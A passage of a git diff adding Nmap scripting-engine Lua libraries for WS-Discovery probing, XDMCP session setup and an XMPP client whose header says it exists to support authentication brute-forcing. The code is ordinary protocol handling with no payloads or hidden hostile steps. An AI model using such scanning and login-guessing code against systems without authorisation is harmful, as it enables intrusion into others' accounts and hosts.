+ response.types = data:match("<[^:]*:Types>[wsdp:]*(.*)</[^:]*:Types>")
+
+ return true, response
+ end,
+
+ --- Decodes a general probe response
+ --
+ -- @param data string containing the response as received over the wire
+ -- @return status true on success, false on failure
+ -- @return response table containing the following fields
+ -- <code>msgid</code>, <code>xaddrs</code>, <code>types</code>
+ -- err string containing the error message
+ ['general'] = function( data )
+ return Decoders['wcf'](data)
+ end,
+
+ --- Decodes an error message received from the service
+ --
+ -- @param data string containing the response as received over the wire
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message
+ ['error'] = function( data )
+ local err = data:match("<SOAP.-ENV:Reason><SOAP.-ENV:Text>(.-)<")
+ local response = "Failed to decode response from device: "
+ .. (err or "Unknown error")
+
+ return true, response
+ end,
+
+}
+
+
+Comm = {
+
+ --- Creates a new Comm instance
+ --
+ -- @param host string containing the host name or ip
+ -- @param port number containing the port to connect to
+ -- @return o a new instance of Comm
+ new = function( self, host, port, mcast )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.mcast = mcast or false
+ o.sendcount = 2
+ o.timeout = 5000
+ return o
+ end,
+
+ --- Sets the timeout for socket reads
+ setTimeout = function( self, timeout ) self.timeout = timeout end,
+
+ --- Sends a probe over the wire
+ --
+ -- @return status true on success, false on failure
+ sendProbe = function( self )
+ local status, err
+
+ -- replace all instances of #uuid# in the probe
+ local probedata = self.probe.data:gsub("#uuid#", Util.generateUUID())
+
+ if ( self.mcast ) then
+ self.socket = nmap.new_socket("udp")
+ self.socket:set_timeout(self.timeout)
+ else
+ self.socket = nmap.new_socket()
+ self.socket:set_timeout(self.timeout)
+ status, err = self.socket:connect( self.host, self.port, "udp" )
+ if ( not(status) ) then return err end
+ end
+
+ for i=1, self.sendcount do
+ if ( self.mcast ) then
+ status, err = self.socket:sendto( self.host, self.port, probedata )
+ else
+ status, err = self.socket:send( probedata )
+ end
+ if ( not(status) ) then return err end
+ end
+ return true
+ end,
+
+ --- Sets a probe from the <code>probes</code> table to send
+ --
+ -- @param probe table containing a probe from <code>probes</code>
+ setProbe = function( self, probe )
+ self.probe = probe
+ end,
+
+ --- Receives one or more responses for a Probe
+ --
+ -- @return table containing decoded responses suitable for
+ -- <code>stdnse.format_output</code>
+ recvProbeMatches = function( self )
+ local responses = {}
+ repeat
+ local data
+
+ local status, data = self.socket:receive()
+ if ( not(status) ) then
+ if ( data == "TIMEOUT" ) then
+ break
+ else
+ return false, data
+ end
+ end
+
+ local _, ip
+ status, _, _, ip, _ = self.socket:get_info()
+ if( not(status) ) then
+ stdnse.debug3("wsdd.recvProbeMatches: ERROR: Failed to get socket info" )
+ return false, "ERROR: Failed to get socket info"
+ end
+
+ -- push the unparsed response to the response table
+ local status, response = Decoders[self.probe.name]( data )
+ local id, output
+ -- if we failed to decode the response indicate this
+ if ( status ) then
+ output = {}
+ table.insert(output, "Message id: " .. response.msgid)
+ if ( response.xaddrs ) then
+ table.insert(output, "Address: " .. response.xaddrs)
+ end
+ if ( response.types ) then
+ table.insert(output, "Type: " .. response.types)
+ end
+ id = response.msgid
+ else
+ status, response = Decoders["error"](data)
+ output = response
+ id = Util.sha1sum(data)
+ end
+
+ if ( self.mcast and not(probe_matches[id]) ) then
+ if target.ALLOW_NEW_TARGETS then target.add(ip) end
+ table.insert( responses, { name=ip, output } )
+ elseif ( not(probe_matches[id]) ) then
+ responses = output
+ end
+
+ -- avoid duplicates
+ probe_matches[id] = true
+ until( not(self.mcast) )
+
+ -- we're done with the socket
+ self.socket:close()
+
+ return true, responses
+ end
+
+}
+
+Helper = {
+
+ --- Creates a new helper instance
+ --
+ -- @param host string containing the host name or ip
+ -- @param port number containing the port to connect to
+ -- @return o a new instance of Helper
+ new = function( self, host, port )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.mcast = false
+ o.timeout = 5000
+ return o
+ end,
+
+ --- Instructs the helper to use unconnected sockets supporting multicast
+ --
+ -- @param mcast boolean true if multicast is to be used, false otherwise
+ setMulticast = function( self, mcast )
+ assert( type(mcast)=="boolean", "mcast has to be either true or false")
+ local family = nmap.address_family()
+ self.mcast = mcast
+ self.host = (family=="inet6" and "FF02::C" or "239.255.255.250")
+ self.port = 3702
+ end,
+
+ --- Sets the timeout for socket reads
+ setTimeout = function( self, timeout ) self.timeout = timeout end,
+
+ --- Sends a probe, receives and decodes a probematch
+ --
+ -- @param probename string containing the name of the probe to send
+ -- check <code>probes</code> for available probes
+ -- @return status true on success, false on failure
+ -- @return matches table containing responses, suitable for printing using
+ -- the <code>stdnse.format_output</code> function
+ discoverServices = function( self, probename )
+ if ( not(HAVE_SSL) ) then return false, "The wsdd library requires OpenSSL" end
+
+ local comm = Comm:new(self.host, self.port, self.mcast)
+ local probe = Util.getProbeByName(probename)
+ comm:setProbe( probe )
+ comm:setTimeout( self.timeout )
+
+ local status = comm:sendProbe()
+ if ( not(status) ) then
+ return false, "ERROR: wcf.discoverServices failed"
+ end
+
+ local status, matches = comm:recvProbeMatches()
+ if ( not(status) ) then
+ return false, "ERROR: wcf.recvProbeMatches failed"
+ end
+
+ if ( #matches > 0 ) then matches.name = probe.desc end
+ return true, matches
+ end,
+
+ --- Sends a general probe to attempt to discover WSDD supporting devices
+ --
+ -- @return status true on success, false on failure
+ -- @return matches table containing responses, suitable for printing using
+ -- the <code>stdnse.format_output</code> function
+ discoverDevices = function( self )
+ return self:discoverServices('general')
+ end,
+
+
+ --- Sends a probe that attempts to discover WCF web services
+ --
+ -- @return status true on success, false on failure
+ -- @return matches table containing responses, suitable for printing using
+ -- the <code>stdnse.format_output</code> function
+ discoverWCFServices = function( self )
+ return self:discoverServices('wcf')
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/xdmcp.lua b/nselib/xdmcp.lua
new file mode 100644
index 0000000..30bf6c3
--- /dev/null
+++ b/nselib/xdmcp.lua
@@ -0,0 +1,407 @@
+---
+-- Implementation of the XDMCP (X Display Manager Control Protocol) based on:
+-- x http://www.xfree86.org/current/xdmcp.pdf
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("xdmcp", stdnse.seeall)
+
+-- Supported operations
+OpCode = {
+ BCAST_QUERY = 1,
+ QUERY = 2,
+ WILLING = 5,
+ REQUEST = 7,
+ ACCEPT = 8,
+ MANAGE = 10,
+}
+
+-- Packet class
+Packet = {
+
+ -- The cdmcp header
+ Header = {
+
+ -- Creates a new instance of class
+ -- @param version number containing the protocol version
+ -- @param opcode number containing the opcode type
+ -- @param length number containing the length of the data
+ -- @return o instance of class
+ new = function(self, version, opcode, length)
+ local o = { version = version, opcode = opcode, length = length }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parses data based on which a new object is instantiated
+ -- @param data opaque string containing data received over the wire
+ -- @return hdr instance of class
+ -- @return pos position in the string where parsing left off
+ parse = function(data)
+ local hdr = Packet.Header:new()
+ local pos
+ hdr.version, hdr.opcode, hdr.length, pos = string.unpack(">I2I2I2", data)
+ return hdr, pos
+ end,
+
+ -- Converts the instance to an opaque string
+ -- @return str string containing the instance
+ __tostring = function(self)
+ assert(self.length, "No header length was supplied")
+ return string.pack(">I2I2I2", self.version, self.opcode, self.length)
+ end,
+ },
+
+ [OpCode.QUERY] = {
+
+ -- Creates a new instance of class
+ -- @param authnames table of strings containing authentication
+ -- mechanism names.
+ -- @return o instance of class
+ new = function(self, authnames)
+ local o = {
+ header = Packet.Header:new(1, OpCode.QUERY),
+ authnames = authnames or {},
+ }
+ o.header.length = #o.authnames + 1
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the instance to an opaque string
+ -- @return str string containing the instance
+ __tostring = function(self)
+ local data = {
+ tostring(self.header),
+ string.pack("B", #self.authnames),
+ }
+ for _, name in ipairs(self.authnames) do
+ data[#data+1] = string.pack(">s2", name)
+ end
+ return table.concat(data)
+ end,
+
+ },
+
+ [OpCode.BCAST_QUERY] = {
+ new = function(...)
+ local packet = Packet[OpCode.QUERY]:new(...)
+ packet.header.opcode = OpCode.BCAST_QUERY
+ return packet
+ end,
+
+ __tostring = function(...)
+ return Packet[OpCode.QUERY]:__tostring(...)
+ end
+
+ },
+
+ [OpCode.WILLING] = {
+
+ -- Creates a new instance of class
+ -- @return o instance of class
+ new = function(self)
+ local o = {
+ header = Packet.Header:new(1, OpCode.WILLING)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parses data based on which a new object is instantiated
+ -- @param data opaque string containing data received over the wire
+ -- @return hdr instance of class
+ parse = function(data)
+ local willing = Packet[OpCode.WILLING]:new()
+ local pos
+ willing.header, pos = Packet.Header.parse(data)
+
+ willing.authname, willing.hostname,
+ willing.status, pos = string.unpack("s1s1s1", data, pos)
+ return willing
+ end,
+
+ },
+
+ [OpCode.REQUEST] = {
+
+ -- The connection class
+ Connection = {
+
+ IpType = {
+ IPv4 = 0,
+ IPv6 = 6,
+ },
+
+ -- Creates a new instance of class
+ -- @param iptype number
+ -- @param ip opaque string containing the ip
+ -- @return o instance of class
+ new = function(self, iptype, ip)
+ local o = {
+ iptype = iptype,
+ ip = ip,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ },
+
+ -- Creates a new instance of class
+ -- @param disp_no number containing the display name
+ -- @param auth_name string containing the authentication name
+ -- @param auth_data string containing additional authentication data
+ -- @param authr_names string containing authorization mechanisms
+ -- @param manf_id string containing the manufacturer id
+ -- @return o instance of class
+ new = function(self, disp_no, conns, auth_name, auth_data, authr_names, manf_id )
+ local o = {
+ header = Packet.Header:new(1, OpCode.REQUEST),
+ disp_no = disp_no or 1,
+ conns = conns or {},
+ auth_name = auth_name or "",
+ auth_data = auth_data or "",
+ authr_names = authr_names or {},
+ manf_id = manf_id or "",
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Adds a new connection entry
+ -- @param conn instance of Connections
+ addConnection = function(self, conn)
+ table.insert(self.conns, conn)
+ end,
+
+ -- Adds a new authorization entry
+ -- @param str string containing the name of the authorization mechanism
+ addAuthrName = function(self, str)
+ table.insert(self.authr_names, str)
+ end,
+
+ -- Converts the instance to an opaque string
+ -- @return str string containing the instance
+ __tostring = function(self)
+ local data = {
+ string.pack(">I2B", self.disp_no, #self.conns),
+ }
+ for _, conn in ipairs(self.conns) do
+ data[#data+1] = string.pack(">I2", conn.iptype)
+ end
+ data[#data+1] = string.pack("B", #self.conns)
+ for _, conn in ipairs(self.conns) do
+ data[#data+1] = string.pack(">s2", ipOps.ip_to_str(conn.ip))
+ end
+ data[#data+1] = string.pack(">s2s2B", self.auth_name, self.auth_data, #self.authr_names)
+ for _, authr in ipairs(self.authr_names) do
+ data[#data+1] = string.pack(">s2", authr)
+ end
+ data[#data+1] = string.pack(">s2", self.manf_id)
+ data = table.concat(data)
+ self.header.length = #data
+
+ return tostring(self.header) .. data
+ end,
+
+ },
+
+ [OpCode.ACCEPT] = {
+
+ -- Creates a new instance of class
+ -- @param session_id number containing the session id
+ -- @param auth_name string containing the authentication name
+ -- @param auth_data string containing additional authentication data
+ -- @param authr_name string containing the authorization mechanism name
+ -- @param authr_names string containing authorization mechanisms
+ -- @return o instance of class
+ new = function(self, session_id, auth_name, auth_data, authr_name, authr_data)
+ local o = {
+ header = Packet.Header:new(1, OpCode.ACCEPT),
+ session_id = session_id,
+ auth_name = auth_name,
+ auth_data = auth_data,
+ authr_name = authr_name,
+ authr_data = authr_data,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parses data based on which a new object is instantiated
+ -- @param data opaque string containing data received over the wire
+ -- @return hdr instance of class
+ parse = function(data)
+ local accept = Packet[OpCode.ACCEPT]:new()
+ local pos
+ accept.header, pos = Packet.Header.parse(data)
+ accept.session_id, accept.auth_name, accept.auth_data,
+ accept.authr_name, accept.authr_data, pos = string.unpack(">I4s2s2s2s2", data, pos)
+ return accept
+ end,
+
+ },
+
+ [OpCode.MANAGE] = {
+
+ -- Creates a new instance of class
+ -- @param session_id number containing the session id
+ -- @param disp_no number containing the display number
+ -- @param disp_class string containing the display class
+ -- @return o instance of class
+ new = function(self, sess_id, disp_no, disp_class)
+ local o = {
+ header = Packet.Header:new(1, OpCode.MANAGE),
+ session_id = sess_id,
+ disp_no = disp_no,
+ disp_class = disp_class or ""
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the instance to an opaque string
+ -- @return str string containing the instance
+ __tostring = function(self)
+ local data = string.pack(">I4I2s2", self.session_id, self.disp_no, self.disp_class)
+ self.header.length = #data
+ return tostring(self.header) .. data
+ end,
+
+ }
+
+}
+
+-- The Helper class serves as the main script interface
+Helper = {
+
+ -- Creates a new instance of Helper
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @param options table
+ -- @return o new instance of Helper
+ new = function(self, host, port, options)
+ local o = {
+ host = host,
+ port = port,
+ options = options or {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- "Connects" to the server (ie. creates the socket)
+ -- @return status, true on success, false on failure
+ connect = function(self)
+ self.socket = nmap.new_socket("udp")
+ self.socket:set_timeout(self.options.timeout or 10000)
+ return true
+ end,
+
+ -- Creates a xdmcp session
+ -- @param auth_name string containing the authentication name
+ -- @param authr_name string containing the authorization mechanism name
+ -- @param disp_class string containing the display class
+ -- @return status true on success, false on failure
+ -- @return response table or err string containing an error message
+ createSession = function(self, auth_names, authr_names, disp_no)
+ local info = nmap.get_interface_info(self.host.interface)
+ if ( not(info) ) then
+ return false, ("Failed to get information for interface %s"):format(self.host.interface)
+ end
+
+ local req = Packet[OpCode.QUERY]:new(auth_names)
+ local status, response = self:exch(req)
+ if ( not(status) ) then
+ return false, response
+ elseif ( response.header.opcode ~= OpCode.WILLING ) then
+ return false, "Received unexpected response"
+ end
+
+ local REQ = Packet[OpCode.REQUEST]
+ local iptype = REQ.Connection.IpType.IPv4
+ if ( nmap.address_family() == 'inet6' ) then
+ iptype = REQ.Connection.IpType.IPv6
+ end
+
+ local conns = { REQ.Connection:new(iptype, info.address) }
+ local req = REQ:new(disp_no, conns, nil, nil, authr_names)
+ local status, response = self:exch(req)
+ if ( not(status) ) then
+ return false, response
+ elseif ( response.header.opcode ~= OpCode.ACCEPT ) then
+ return false, "Received unexpected response"
+ end
+
+ -- Sending this last manage packet doesn't make any sense as we can't
+ -- set up a listening TCP server anyway. When we can, we could enable
+ -- this and wait for the incoming request and retrieve X protocol info.
+
+ -- local manage = Packet[OpCode.MANAGE]:new(response.session_id,
+ -- disp_no, "MIT-unspecified")
+ -- local status, response = self:exch(manage)
+ -- if ( not(status) ) then
+ -- return false, response
+ -- end
+
+ return true, {
+ session_id = response.session_id,
+ auth_name = response.auth_name,
+ auth_data = response.auth_data,
+ authr_name = response.authr_name,
+ authr_data = response.authr_data,
+ }
+ end,
+
+ send = function(self, req)
+ return self.socket:sendto(self.host, self.port, tostring(req))
+ end,
+
+ recv = function(self)
+ local status, data = self.socket:receive()
+ if ( not(status) ) then
+ return false, data
+ end
+ local header = Packet.Header.parse(data)
+ if ( not(header) ) then
+ return false, "Failed to parse xdmcp header"
+ end
+ if ( not(Packet[header.opcode]) ) then
+ return false, ("No parser for opcode: %d"):format(header.opcode)
+ end
+ local resp = Packet[header.opcode].parse(data)
+ if ( not(resp) ) then
+ return false, "Failed to parse response"
+ end
+ return true, resp
+ end,
+
+ -- Sends a request to the server, receives and parses a response
+ -- @param req instance of Packet
+ -- @return status true on success, false on failure
+ -- @return response instance of response packet
+ exch = function(self, req)
+ local status, err = self:send(req)
+ if ( not(status) ) then
+ return false, "Failed to send xdmcp request"
+ end
+ return self:recv()
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/xmpp.lua b/nselib/xmpp.lua
new file mode 100644
index 0000000..a319c2d
--- /dev/null
+++ b/nselib/xmpp.lua
@@ -0,0 +1,456 @@
+--- A XMPP (Jabber) library, implementing a minimal subset of the protocol
+-- enough to do authentication brute-force.
+--
+-- The XML parsing of tags isn't optimal but there's no other easy way
+-- (nulls or line-feeds) to match the end of a message. The parse_tag
+-- method in the XML class was borrowed from the initial xmpp.nse
+-- script written by Vasiliy Kulikov.
+--
+-- The library consist of the following classes:
+-- * <code>XML</code> - containing a minimal XML parser written by
+-- Vasiliy Kulikov.
+-- * <code>TagProcessor</code> - Contains processing code for common tags
+-- * <code>XMPP</code> - containing the low-level functions used to
+-- communicate with the Jabber server.
+-- * <code>Helper</code> - containing the main interface for script
+-- writers
+--
+-- The following sample illustrates how to use the library to authenticate
+-- to a XMPP sever:
+-- <code>
+-- local helper = xmpp.Helper:new(host, port, options)
+-- local status, err = helper:connect()
+-- status, err = helper:login(user, pass, "DIGEST-MD5")
+-- </code>
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @author Patrik Karlsson <patrik@cqure.net>
+
+-- Version 0.2
+-- Created 07/19/2011 - v0.1 - Created by Patrik Karlsson
+-- Revised 07/22/2011 - v0.2 - Added TagProcessors and two new auth mechs:
+-- CRAM-MD5 and LOGIN <patrik@cqure.net>
+
+local base64 = require "base64"
+local match = require "match"
+local nmap = require "nmap"
+local sasl = require "sasl"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("xmpp", stdnse.seeall)
+
+
+-- This is a trivial XML processor written by Vasiliy Kulikov. It doesn't
+-- fully support XML, but it should be sufficient for the basic XMPP
+-- stream handshake. If you see stanzas with uncommon symbols, feel
+-- free to enhance these regexps.
+XML = {
+
+ ---XML tag table
+ --@class table
+ --@name XML.tag
+ --@field name The tag name
+ --@field attrs The tag attributes as a key-value table
+ --@field start True if this was an opening tag.
+ --@field contents The contents of the tag
+ --@field finish true if the tag was closed.
+
+ ---Parse an XML tag
+ --@name XML.parse_tag
+ --@param s String containing the XML tag
+ --@return XML tag table
+ --@see XML.tag
+ parse_tag = function(s)
+ local _, _, contents, empty, name = string.find(s, "([^<]*)<(/?)([?:%w-]+)")
+ local attrs = {}
+ if not name then
+ return
+ end
+ for k, v in string.gmatch(s, "%s([%w:]+)='([^']+)'") do
+ attrs[k] = v
+ end
+ for k, v in string.gmatch(s, "%s([%w:]+)=\"([^\"]+)\"") do
+ attrs[k] = v
+ end
+
+ local finish = (empty ~= "") or (s:sub(#s-1) == '/>')
+
+ return { name = name,
+ attrs = attrs,
+ start = (empty == ""),
+ contents = contents,
+ finish = finish }
+ end,
+
+}
+
+TagProcessor = {
+
+ ["failure"] = function(socket, tag)
+ return TagProcessor["success"](socket,tag)
+ end,
+
+ ["success"] = function(socket, tag)
+ if ( tag.finish ) then return true end
+ local newtag
+ repeat
+ local status, data = socket:receive_buf(match.pattern_limit(">", 2048), true)
+ if ( not(status) ) then
+ return false, ("ERROR: Failed to process %s tag"):format(tag.name)
+ end
+ newtag = XML.parse_tag(data)
+ until( newtag.finish and newtag.name == tag.name )
+ if ( newtag.name == tag.name ) then return true, tag end
+ return false, ("ERROR: Failed to process %s tag"):format(tag.name)
+ end,
+
+ ["challenge"] = function(socket, tag)
+ local status, data = socket:receive_buf(match.pattern_limit(">", 2048), true)
+ if ( not(status) ) then return false, "ERROR: Failed to read challenge tag" end
+ local tag = XML.parse_tag(data)
+
+ if ( not(status) or tag.name ~= "challenge" ) then
+ return false, "ERROR: Failed to process challenge"
+ end
+ return status, (tag.contents and base64.dec(tag.contents))
+ end,
+
+
+}
+
+XMPP = {
+
+ --- Creates a new instance of the XMPP class
+ --
+ -- @name XMPP.new
+ -- @param host table as received by the action function
+ -- @param port table as received by the action function
+ -- @param options table containing options, currently supported
+ -- * <code>timeout</code> - sets the socket timeout
+ -- * <code>servername</code> - sets the server name to use in
+ -- communication with the server.
+ -- * <code>starttls</code> - start TLS handshake even if it is optional.
+ new = function(self, host, port, options)
+ local o = { host = host,
+ port = port,
+ options = options or {},
+ auth = { mechs = {} } }
+ o.options.timeout = o.options.timeout and o.options.timeout or 10
+ o.servername = stdnse.get_hostname(host) or o.options.servername
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Sends data to XMPP server
+ -- @name XMPP.send
+ -- @param data string containing data to send to server
+ -- @return status true on success false on failure
+ -- @return err string containing error message
+ send = function(self, data)
+
+ -- this ain't pretty, but we try to "flush" what's left of the receive
+ -- buffer, prior to send. This way we account for not reading to the
+ -- end of one message resulting in the next read reading from our
+ -- previous message.
+ self.socket:set_timeout(1)
+ repeat
+ local status = self.socket:receive_buf("\0", false)
+ until(not(status))
+ self.socket:set_timeout(self.options.timeout * 1000)
+
+ return self.socket:send(data)
+ end,
+
+ --- Receives a XML tag from the server
+ --
+ -- @name XMPP.receive_tag
+ -- @param tag [optional] if unset, receives the next available tag
+ -- if set, reads until the given tag has been found
+ -- @param close [optional] if set, matches a closing tag
+ -- @return true on success, false on error
+ -- @return The XML tag table, or error message
+ -- @see XML.tag
+ receive_tag = function(self, tag, close)
+ local result
+ repeat
+ local status, data = self.socket:receive_buf(match.pattern_limit(">", 2048), true)
+ if ( not(status) ) then return false, data end
+ result = XML.parse_tag(data)
+ until( ( not(tag) and (close == nil or result.finish == close ) ) or
+ ( tag == result.name and ( close == nil or result.finish == close ) ) )
+ return true, result
+ end,
+
+ --- Connects to the XMPP server
+ -- @name XMPP.connect
+ -- @return status true on success, false on failure
+ -- @return err string containing an error message if status is false
+ connect = function(self, socket)
+ assert(self.servername,
+ "Cannot connect to XMPP server without valid server name")
+
+ -- we may be reconnecting using SSL
+ if ( not(self.socket) ) then
+ self.socket = socket or nmap.new_socket()
+ self.socket:set_timeout(self.options.timeout * 1000)
+ local status, err = self.socket:connect(self.host, self.port)
+ if ( not(status) ) then
+ return false, err
+ end
+ end
+ local data = ("<?xml version='1.0' ?><stream:stream to='%s' xmlns='jabber:client'" ..
+ " xmlns:stream='http://etherx.jabber.org/streams'" ..
+ " version='1.0'>"):format(self.servername)
+
+ local status, err = self:send(data)
+ if ( not(status) ) then return false, "ERROR: Failed to connect to server" end
+
+ local version, start_tls
+ repeat
+ local status, tag = self:receive_tag()
+ if ( not(status) ) then return false, "ERROR: Failed to connect to server" end
+
+ if ( tag.name == "stream:stream" ) then
+ version = tag.attrs and tag.attrs.version
+ elseif ( tag.name == "starttls" and tag.start ) then
+ status, tag = self:receive_tag()
+ if ( not(status) ) then
+ return false, "ERROR: Failed to connect to server"
+ end
+ if ( tag.name ~= "starttls" ) then
+ start_tls = tag.name
+ else
+ start_tls = "optional"
+ end
+ elseif ( tag.name == "mechanism" and tag.finish ) then
+ self.auth.mechs[tag.contents] = true
+ end
+ until(tag.name == "stream:features" and tag.finish)
+
+ if ( version ~= "1.0" ) then
+ return false, "ERROR: Only version 1.0 is supported"
+ end
+
+ if ( start_tls == "required" or self.options.starttls) then
+ status, err = self:send("<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>")
+ if ( not(status) ) then return false, "ERROR: Failed to initiate STARTTLS" end
+ local status, tag = self:receive_tag()
+ if ( not(status) ) then return false, "ERROR: Failed to receive from server" end
+ if ( tag.name == "proceed" ) then
+ status, err = self.socket:reconnect_ssl()
+ self.options.starttls = false
+ return self:connect()
+ end
+ end
+
+ return true
+ end,
+
+ --- Logs in to the XMPP server
+ --
+ -- @name XMPP.login
+ -- @param username string
+ -- @param password string
+ -- @param mech string containing a supported authentication mechanism
+ -- @return status true on success, false on failure
+ -- @return err string containing error message if status is false
+ login = function(self, username, password, mech)
+ assert(mech == "PLAIN" or
+ mech == "DIGEST-MD5" or
+ mech == "CRAM-MD5" or
+ mech == "LOGIN",
+ "Unsupported authentication mechanism")
+
+ local auth = ("<auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' " ..
+ "mechanism='%s'/>"):format(mech)
+
+ -- we currently don't do anything with the realm
+ local realm
+
+ -- we need to cut the @domain.tld from the username
+ if ( username:match("@") ) then
+ username, realm = username:match("^(.*)@(.*)$")
+ end
+
+ local status, result
+
+ if ( mech == "PLAIN" ) then
+ local mech_params = { username, password }
+ local auth_data = sasl.Helper:new(mech):encode(table.unpack(mech_params))
+ auth = ("<auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' " ..
+ "mechanism='%s'>%s</auth>"):format(mech, base64.enc(auth_data))
+
+ status, result = self.socket:send(auth)
+ if ( not(status) ) then return false, "ERROR: Failed to send SASL PLAIN authentication" end
+
+ status, result = self:receive_tag()
+ if ( not(status) ) then return false, "ERROR: Failed to receive login response" end
+
+ if ( result.name == "failure" ) then
+ status = TagProcessor[result.name](self.socket, result)
+ end
+ else
+ local status, err = self.socket:send(auth)
+ if(not(status)) then return false, "ERROR: Failed to initiate SASL login" end
+
+ local chall
+ status, result = self:receive_tag()
+ if ( not(status) ) then return false, "ERROR: Failed to retrieve challenge" end
+ status, chall = TagProcessor[result.name](self.socket, result)
+
+ if ( mech == "LOGIN" ) then
+ if ( chall ~= "User Name" ) then
+ return false, ("ERROR: Login expected 'User Name' received: %s"):format(chall)
+ end
+ self.socket:send("<response xmlns='urn:ietf:params:xml:ns:xmpp-sasl'>" ..
+ base64.enc(username) ..
+ "</response>")
+
+ status, result = self:receive_tag()
+ if ( not(status) or result.name ~= "challenge") then
+ return false, "ERROR: Receiving tag from server"
+ end
+ status, chall = TagProcessor[result.name](self.socket, result)
+
+ if ( chall ~= "Password" ) then
+ return false, ("ERROR: Login expected 'Password' received: %s"):format(chall)
+ end
+
+ self.socket:send("<response xmlns='urn:ietf:params:xml:ns:xmpp-sasl'>" ..
+ base64.enc(password) ..
+ "</response>")
+
+ status, result = self:receive_tag()
+ if ( not(status) ) then return false, "ERROR: Failed to receive login challenge" end
+ if ( result.name == "failure" ) then
+ status = TagProcessor[result.name](self.socket, result)
+ return false, "Login failed"
+ end
+ else
+ local mech_params = { username, password, chall, "xmpp", "xmpp/" .. self.servername }
+ local auth_data = sasl.Helper:new(mech):encode(table.unpack(mech_params))
+ auth_data = "<response xmlns='urn:ietf:params:xml:ns:xmpp-sasl'>" ..
+ base64.enc(auth_data) .. "</response>"
+
+ status, err = self.socket:send(auth_data)
+
+ -- read to the end tag regardless of what it is
+ -- it should be one of either: success, challenge or error
+ repeat
+ status, result = self:receive_tag()
+ if ( not(status) ) then return false, "ERROR: Failed to receive login challenge" end
+
+ if ( result.name == "failure" ) then
+ status = TagProcessor[result.name](self.socket, result)
+ return false, "Login failed"
+ elseif ( result.name == "success" ) then
+ status = TagProcessor[result.name](self.socket, result)
+ if ( not(status) ) then return false, "Failed to process success message" end
+ return true, "Login success"
+ elseif ( result.name ~= "challenge" ) then
+ return false, "ERROR: Failed to receive login challenge"
+ end
+ until( result.name == "challenge" and result.finish )
+
+ if ( result.name == "challenge" and mech == "DIGEST-MD5" ) then
+ status, result = self.socket:send("<response xmlns='urn:ietf:params:xml:ns:xmpp-sasl'/>")
+ if ( not(status) ) then return false, "ERROR: Failed to send DIGEST-MD5 request" end
+ status, result = self:receive_tag()
+ if ( not(status) ) then return false, "ERROR: Failed to receive DIGEST-MD5 response" end
+ end
+ end
+ end
+ if ( result.name == "success" ) then
+ return true, "Login success"
+ end
+
+ return false, "Login failed"
+ end,
+
+ --- Retrieves the available authentication mechanisms
+ -- @name XMPP.getAuthMechs
+ -- @return table containing all available authentication mechanisms
+ getAuthMechs = function(self) return self.auth.mechs end,
+
+ --- Disconnects the socket from the server
+ -- @name XMPP.disconnect
+ -- @return status true on success, false on failure
+ -- @return error message if status is false
+ disconnect = function(self)
+ local status, err = self.socket:close()
+ self.socket = nil
+ return status, err
+ end,
+
+}
+
+
+Helper = {
+
+ --- Creates a new Helper instance
+ -- @name Helper.new
+ -- @param host table as received by the action function
+ -- @param port table as received by the action function
+ -- @param options table containing options, currently supported
+ -- * <code>timeout</code> - sets the socket timeout
+ -- * <code>servername</code> - sets the server name to use in
+ -- communication with the server.
+ new = function(self, host, port, options)
+ local o = { host = host,
+ port = port,
+ options = options or {},
+ xmpp = XMPP:new(host, port, options),
+ state = "" }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Connects to the XMPP server and starts the initial communication
+ -- @name Helper.connect
+ -- @return status true on success, false on failure
+ -- @return err string containing an error message is status is false
+ connect = function(self, socket)
+ if ( not(self.host.targetname) and
+ not(self.options.servername) ) then
+ return false, "ERROR: Cannot connect to XMPP server without valid server name"
+ end
+ self.state = "CONNECTED"
+ return self.xmpp:connect(socket)
+ end,
+
+ --- Login to the XMPP server
+ --
+ -- @name Helper.login
+ -- @param username string
+ -- @param password string
+ -- @param mech string containing a supported authentication mechanism
+ -- @see Helper.getAuthMechs
+ -- @return status true on success, false on failure
+ -- @return err string containing error message if status is false
+ login = function(self, username, password, mech)
+ return self.xmpp:login(username, password, mech)
+ end,
+
+ --- Retrieves the available authentication mechanisms
+ -- @name Helper.getAuthMechs
+ -- @return table containing all available authentication mechanisms
+ getAuthMechs = function(self)
+ if ( self.state == "CONNECTED" ) then
+ return self.xmpp:getAuthMechs()
+ end
+ return
+ end,
+
+ --- Closes the connection to the server
+ -- @name Helper.close
+ close = function(self)
+ self.xmpp:disconnect()
+ self.state = "DISCONNECTED"
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/zlib.luadoc b/nselib/zlib.luadoc
new file mode 100644
index 0000000..2148896
--- /dev/null
+++ b/nselib/zlib.luadoc
@@ -0,0 +1,111 @@
+---
+-- Zlib compression and decompression library
+--
+-- From https://github.com/LuaDist/lzlib
+-- @author Tiago Dionizio <tiago.dionizio@gmail.com>
